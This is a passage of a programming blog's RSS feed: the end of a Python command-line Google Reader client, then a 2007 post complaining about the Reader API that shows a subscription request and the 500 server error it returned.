Please specify a Gmail username and password&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;len&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;argv&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;&amp;gt;&lt;/font&gt; &lt;font color="#0080c0"&gt;3&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feed_cache_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;argv&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0080c0"&gt;3&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;AuthenticateUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;argv&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;argv&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0080c0"&gt;2&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;SubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;True&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;GetSubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;taglist&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;GetTagList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;options&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;***Your
options are (f)etch your feeds, (l)ist your subscriptions, (s)ubscribe to a new feed,
(u)nsubscribe, (m)ark read , (r)ename, (a)dd a label to a feed, (d)elete a label from
a feed or (e)xit***&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;\n&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;while&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#000000"&gt;options&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;stdin&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;readline&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;e\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;break&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;l\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#list
subscriptions&lt;/font&gt; &lt;font color="#000000"&gt;ShowSubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;s\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#subscribe
to a new feed&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Enter
url: &amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;new_feed_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;stdin&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;readline&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;strip&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;Subscribe&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;new_feed_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;u\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#unsubscribe
from a feed&lt;/font&gt; &lt;font color="#000000"&gt;feed2remove_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;GetFeedIndexFromUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feed2remove_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;!=&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;Unsubscribe&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed2remove_indx&lt;/font&gt;&lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;r\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#rename
a feed&lt;/font&gt; &lt;font color="#000000"&gt;feed2rename_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;GetFeedIndexFromUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feed2rename_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;!=&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;'%s'
selected&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;feed2rename_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Enter
the new title for the subscription:&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;Rename&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;stdin&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;readline&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;strip&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feed2rename_indx&lt;/font&gt;&lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;f\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#fetch
feeds&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;DownloadFeeds&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;m\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#mark
all items as read&lt;/font&gt; &lt;font color="#000000"&gt;feed2markread_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;GetFeedIndexFromUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feed2markread_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;!=&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;MarkAllItemsAsRead&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed2markread_indx&lt;/font&gt;&lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;a\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;d\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#add/remove
a label on a feed&lt;/font&gt; &lt;font color="#000000"&gt;editmode&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;a\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#000000"&gt;add_label&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#000000"&gt;remove_label&lt;/font&gt; &lt;font color="#000000"&gt;feed2label_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;GetFeedIndexFromUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feed2label_indx&lt;/font&gt; &lt;font color="#0000c0"&gt;!=&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;feed2label_indx&lt;/font&gt;&lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;'%s'
selected&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;%s&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;cmd&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;a\n&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Enter
the new label:&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Enter
the label to delete:&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;label_name&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;stdin&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;readline&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;strip&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;EditLabel&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;label_name&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;editmode&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;taglist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;userid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feed2label_indx&lt;/font&gt;&lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;SID&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;success&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Unknown
command&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;Now Playing&lt;/b&gt;: &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=DJ Drama"&gt;DJ
Drama&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=DJ Drama&amp;amp;songTerm=Cannon (Remix) (Feat. Lil Wayne, Willie The Kid, Freeway And T.I.)"&gt;Cannon
(Remix) (Feat. Lil Wayne, Willie The Kid, Freeway And T.I.)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=d27ebdd5-ea53-4135-ba08-5a99d5c34290" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,d27ebdd5-ea53-4135-ba08-5a99d5c34290.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=f22f165d-8b6d-4e57-9a42-8500c221c786</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,f22f165d-8b6d-4e57-9a42-8500c221c786.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,f22f165d-8b6d-4e57-9a42-8500c221c786.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=f22f165d-8b6d-4e57-9a42-8500c221c786</wfw:commentRss>
      <slash:comments>7</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
          <strong>REQUEST:</strong>
        </p>
        <p>
POST /reader/api/0/subscription/edit HTTP/1.1 
<br />
Content-Type: application/x-www-form-urlencoded 
<br />
Host: www.google.com 
<br />
Cookie: SID=DQAAAHoAAD4SjpLSFdgpOrhM8Ju-JL2V1q0aZxm0vIUYa-p3QcnA0wXMoT7dDr7c5FMrfHSZtxvDGcDPTQHFxGmRyPlvSvrgNe5xxQJwPlK_ApHWhzcgfOWJoIPu6YuLAFuGaHwgvFsMnJnlkKYtTAuDA1u7aY6ZbL1g65hCNWySxwwu__eQ 
<br />
Content-Length: 182 
<br />
Expect: 100-continue
</p>
        <p>
s=http%3a%2f%2fwww.icerocket.com%2fsearch%3ftab%3dblog%26q%3dlink%253A25hoursaday.com%252Fweblog%2b%26rss%3d1&amp;ac=subscribe&amp;T=wAxsLRcBAAA.ucVzEgL9y7YfSo5CU5omw.w1BCzXzXHsyicU9R3qWgQ
</p>
        <p>
          <strong>RESPONSE:</strong>
        </p>
        <p>
          <font color="#ff0000">HTTP/1.1 200 OK 
<br /></font>Content-Type: text/html; charset=UTF-8 
<br />
Set-Cookie: GRLD=UNSET;Path=/reader/ 
<br />
Transfer-Encoding: chunked 
<br />
Cache-control: private 
<br />
Date: Sun, 30 Dec 2007 23:08:51 GMT 
<br />
Server: GFE/1.3
</p>
        <p>
          <font color="#ff0000">&lt;html&gt;&lt;head&gt;&lt;title&gt;500 Server Error&lt;/title&gt;</font>
          <br />
&lt;style type="text/css"&gt; 
<br />
      body {font-family: arial,sans-serif} 
<br />
      div.nav {margin-top: 1ex} 
<br />
      div.nav A {font-size: 10pt; font-family: arial,sans-serif} 
<br />
      span.nav {font-size: 10pt; font-family: arial,sans-serif;
font-weight: bold} 
<br />
      div.nav A,span.big {font-size: 12pt; color: #0000cc} 
<br />
      div.nav A {font-size: 10pt; color: black} 
<br />
      A.l:link {color: #6f6f6f} 
<br />
      &lt;/style&gt;&lt;/head&gt; 
<br />
&lt;body text="#000000" bgcolor="#ffffff"&gt;&lt;table border="0"
cellpadding="2" cellspacing="0" width="100%"&gt;&lt;/table&gt; 
<br />
&lt;table&gt;&lt;tr&gt;&lt;td rowspan="3" width="1%"&gt;&lt;b&gt;&lt;font
face="times" color="#0039b6" size="10"&gt;G&lt;/font&gt;&lt;font
face="times" color="#c41200" size="10"&gt;o&lt;/font&gt;&lt;font
face="times" color="#f3c518" size="10"&gt;o&lt;/font&gt;&lt;font
face="times" color="#0039b6" size="10"&gt;g&lt;/font&gt;&lt;font
face="times" color="#30a72f" size="10"&gt;l&lt;/font&gt;&lt;font
face="times" color="#c41200" size="10"&gt;e&lt;/font&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/td&gt; 
<br />
&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; 
<br />
&lt;tr&gt;&lt;td bgcolor="#3366cc"&gt;&lt;font face="arial,sans-serif"
color="#ffffff"&gt;&lt;b&gt;Error&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt; 
<br />
&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; 
<br />
&lt;blockquote&gt;<font color="#ff0000">&lt;h1&gt;Server Error&lt;/h1&gt; 
<br />
The server encountered a temporary error and could not complete your request.&lt;p&gt;&lt;/p&gt;
Please try again in 30 seconds.</font><br />
&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt; 
<br />
&lt;table width="100%" cellpadding="0" cellspacing="0"&gt;&lt;tr&gt;&lt;td
bgcolor="#3366cc"&gt;&lt;img alt="" width="1" height="4"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt; 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=f22f165d-8b6d-4e57-9a42-8500c221c786" />
      </body>
      <title>REST APIs that Suck: Google Reader</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,f22f165d-8b6d-4e57-9a42-8500c221c786.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/12/30/RESTAPIsThatSuckGoogleReader.aspx</link>
